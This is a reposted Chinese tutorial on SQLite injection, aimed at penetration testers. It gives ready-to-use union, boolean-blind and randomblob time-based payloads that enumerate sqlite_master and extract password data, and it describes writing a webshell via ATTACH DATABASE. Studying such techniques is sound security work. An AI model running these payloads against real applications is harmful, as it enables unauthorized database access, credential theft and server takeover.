Sqlite注入基础

更多渗透技能  欢迎搜索公众号:白帽子左一

作者:掌控安全-手电筒

前置知识

Sqlite数据库的特点是它每一个数据库都是一个文件,当你查询表的完整信息时会得到创建表的语句,基本和mysql差不多

1.Sqlite-master:这个是内置系统表、相当于mysql的information_schema

但是这里只存有表的信息,里面有个sql字段,有各个表的结构,有表名,字段名和类型

2.sqlite并不支持像mysql那样的注释,但是可以通过 — 方式增加DDL注释(写shell会用到)

基本增删改查

创建表语句

create table wafa(name varchar(255),username varchar(255));

Sqlite注入基础

插入数据语句

insert into wafa (name,username) values ('bbq','bbcd');

Sqlite注入基础

增加字段

alter table wafa add column id int;

Sqlite注入基础

查询语句

select name from wafa where username='bbcd';

Sqlite注入基础

修改字段数据

Update wafa set username='tcp' where name='bbq';

Sqlite注入基础

这里注意,sqlite不能完全支持sql语句

如果要修改字段的数据类型的话只能增加字段,要修改字段只能重命名表后,

重新创建表,再把旧表数据放到新表里,最后删除旧表

alter table wafa rename to wifi;

Sqlite注入基础
create table wafa(name varchar(200)notnull,username varchar(200)notnull);

Sqlite注入基础
insert into wafa(name,username)select name,username from wifi;

Sqlite注入基础
drop table wifi;

Sqlite注入基础

联合查询:

这里的测试环境里不需要去闭合

首先判断回显点,先判断当前页面字段数

Orderby3

Sqlite注入基础

Sqlite注入基础

判断出当前有3个字段

然后就是判断显错位

And1=2unionselect1,2,3

Sqlite注入基础

查询版本:

and1=2unionselect1,2,sqlite_version()

Sqlite注入基础

查询当前表

and1=2unionselect1,2,name from sqlite_master limit 1,1

可以通过limit去筛选其他数据,但只能显示一条

(这里因为数据库里的排序问题,目标表在第二位)

Sqlite注入基础

查询字段

and1=2unionselect1,2,sql from sqlite_master limit 1,1

可以通过去查询sqlite_master里的sql字段来得到字段信息

会输出整条你建立表的语句

Sqlite注入基础

查询数据

and1=2unionselect1,2,password from user limit 0,1

Sqlite注入基础

当然,sqlite也有查询多条数据的方法

可以使用group_concat

and1=2unionselect1,2,group_concat(name)from user limit 0,1

Sqlite注入基础

盲注

sqlite注入也可以使用盲注

基本和mysql的差不多,但是sqlite好像不支持ascii,所以直接通过字符去查询,这里和mysql不同,这个区分大小写

查询数据表长度

and(select length(name)from sqlite_master limit 0,1)=4

Sqlite注入基础
如果查询失败的话
Sqlite注入基础
查询表名
and substr((select name from sqlite_master limit 0,1),1,1)='u'

Sqlite注入基础

这里区分大小写

Sqlite注入基础

查询字段

and substr((select sql from sqlite_master limit 0,1),1,1)='C'

因为这里是输出整条你建立表的语句,所以要慢慢查

Sqlite注入基础

查询数据

and substr((select password from user limit 0,1),2,1)='i'

Sqlite注入基础

时间盲注

Sqlite没有sleep函数,但是可以利用randomblob函数,

这个函数作用是生成了一个N字节的blob,可以通过这个来延时

and1=(casewhen(substr(sqlite_version(),1,1)='3')then randomblob(1000000000)else0end)

Sqlite注入基础

Getshell

使用ATTACH函数来操作

这个函数用于选定数据库,当数据库不存在时就会创建,使用后,后续命令都在此数据库下执行

函数格式

ATTACH DATABASE file_name AS database_name

这里我们通过去建立一个文件,然后再后续通过命令去插入payload

因为这个是建立库的语句,后续通过建立表的方式去写入shell

例:

Sqlite注入基础

效果如下

Sqlite注入基础

测试环境里因为权限原因没有复现出

Sqlite注入基础

Original: https://blog.csdn.net/hackzkaq/article/details/117119953
Author: zkzq
Title: Sqlite注入基础

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/816847/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球